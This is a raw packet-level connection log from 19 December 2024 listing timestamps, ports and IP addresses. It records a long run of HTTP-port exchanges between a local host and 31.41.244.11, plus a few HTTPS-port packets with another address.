Dec 19, 2024 03:09:36.303251982 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.303286076 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.304147959 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.304183960 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.304254055 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.304287910 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.305164099 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.305201054 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.305283070 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.305316925 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.306200027 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.306334972 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.306386948 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.307158947 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.307197094 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.307233095 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.307265043 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.308162928 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.308199883 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.308248043 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.308281898 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.309170961 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.309206963 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.309247971 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.309288025 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.310254097 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.310316086 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.310329914 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.310352087 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.311281919 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.311291933 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.311326981 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.311342001 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.312088966 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.312235117 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.312269926 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.313152075 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.313190937 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.313213110 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.313244104 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.314141989 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.314181089 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.314326048 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.315187931 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.315222979 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.315346003 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.315383911 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.316121101 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.316159010 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.316209078 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.316243887 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.317188978 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.317198992 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.317224026 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.317244053 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.318113089 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.318267107 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.318305969 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.319226027 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.319276094 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.319276094 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.319310904 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.320168018 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.320221901 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.320238113 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.320267916 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.321264029 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.321274042 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.321312904 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.322199106 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.322257996 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.322300911 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.323081017 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.323122025 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.462898016 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.462958097 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.463116884 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.463156939 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.463392019 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.463428020 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.463627100 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.463673115 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.464360952 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.464405060 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.464519024 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.464557886 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.465440989 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.465483904 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.465522051 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.465559959 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.466413021 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.466533899 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.466584921 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.467364073 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.467425108 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.467509985 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.467546940 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.468395948 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.468446970 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.468491077 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.468529940 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.469408035 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.469501972 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.469532013 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.469568968 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.470411062 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.470529079 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.470546961 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.470623970 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.471447945 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.471497059 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.471534014 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.471683025 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.472424030 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.472462893 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.472491980 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.472527027 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.473391056 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.473429918 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.473480940 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.473517895 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.474426031 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.474594116 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.474631071 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.475357056 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.475393057 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.475553989 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.475590944 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.476422071 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.476475000 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.476532936 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.476569891 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.477374077 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.477421999 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.477482080 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.477528095 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.478348017 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.478398085 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.478566885 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.478610992 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.479360104 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.479408026 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.479516029 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.479567051 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.480389118 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.480441093 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.480485916 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.480746984 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.481348038 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.481466055 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.481503010 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.482340097 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.482470989 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.482525110 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.483345032 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.483386993 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.483460903 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.483498096 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.484400988 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.484438896 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.484544039 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.484590054 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.485384941 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.485424995 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.485483885 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.485518932 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.486433029 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.486449003 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.486475945 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.486502886 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.487346888 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.487394094 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.487518072 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.487552881 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.488338947 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.488389969 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.488447905 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.488559008 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.489375114 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.489413977 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.489494085 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.489530087 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.490379095 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.490425110 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.490466118 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.490510941 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.491344929 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.491440058 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.491477966 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.491518021 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.492332935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.492376089 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.492463112 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.492507935 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.493362904 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.493402004 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.493460894 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.493503094 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.494362116 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.494405031 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.494440079 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.494482994 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.495354891 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.495395899 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.495448112 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.495491982 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.496360064 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.496409893 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.496459961 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.496500969 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.497375965 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.497416019 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.497644901 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.497679949 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.498374939 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.498411894 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.498445988 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.498480082 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.499363899 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.499403954 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.499511957 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.499547005 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.500377893 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.500415087 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.500596046 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.500634909 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.501334906 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.501378059 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.501687050 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.501749992 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.502432108 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.502441883 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.502487898 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.503338099 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.503436089 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.503482103 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.504354000 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.504399061 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.504446983 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.504498959 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.505346060 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.505389929 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.505445957 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.505486965 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.506422043 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.506433010 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.506469965 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.507355928 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.507384062 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.507399082 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.507457972 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.508325100 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.508366108 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.508539915 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.508585930 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.509327888 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.509373903 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.509541988 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.509586096 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.510318041 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.510449886 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.510494947 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.511317015 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.511364937 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.511441946 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.511488914 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.512315989 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.512362003 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.512411118 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.512454987 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.513394117 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.513437033 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.513463020 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.513505936 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.514347076 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.514430046 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.514476061 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.515294075 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.515341043 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.584198952 CET	443	49899	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:36.584314108 CET	443	49899	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:36.584400892 CET	49899	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:36.584577084 CET	49899	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:36.584595919 CET	443	49899	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:36.654860020 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.654905081 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.655148983 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.655179977 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.655205965 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.655303955 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.655978918 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.656117916 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.656164885 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.656236887 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.656284094 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.657116890 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.657160044 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.657202959 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.657244921 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.658102036 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.658150911 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.658240080 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.658303022 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.659116030 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.659161091 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.659323931 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.659362078 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.660131931 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.660181999 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.660248041 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.660296917 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.661103010 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.661147118 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.661216974 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.661259890 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.662105083 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.662143946 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.662218094 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.662287951 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.663136005 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.663208008 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.663244963 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.663285971 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.664110899 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.664175987 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.664228916 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.664314985 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.665122032 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.665174961 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.665214062 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.665258884 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.666099072 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.666196108 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.666218042 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.666274071 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.667135000 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.667184114 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.667239904 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.668068886 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.668117046 CET	80	49885	31.41.244.11	192.168.2.5
